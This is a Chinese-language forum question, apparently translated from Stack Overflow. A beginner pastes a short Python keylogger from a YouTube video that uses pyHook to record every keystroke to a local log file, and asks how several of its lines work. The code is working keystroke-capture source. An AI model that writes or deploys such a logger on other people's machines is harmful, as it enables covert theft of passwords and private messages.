1

我偶然发现了这个视频,它编写了一个非常简单的键盘记录程序。 https://www.youtube.com/watch?v=8BiOPBsXh0g

我让程序运行起来,但视频不能很好地解释像我这样的初学者的代码行。有人可以帮我理解一些代码行的作用吗?

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '(messages)')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

问题:

  1. level = logging.DEBUG 有什么作用?

  2. 究竟什么是事件?怎么可能做线 event.Ascii?

  3. 在 logging.log 函数中传入参数的 10 有什么作用?

  4. hooks_manager.Keydown = OnKeyboardEvent 如何工作?我认为 OnKeyboardEvent 是一个函数,但它如何将自己等同于另一个函数?

4

0 回答 0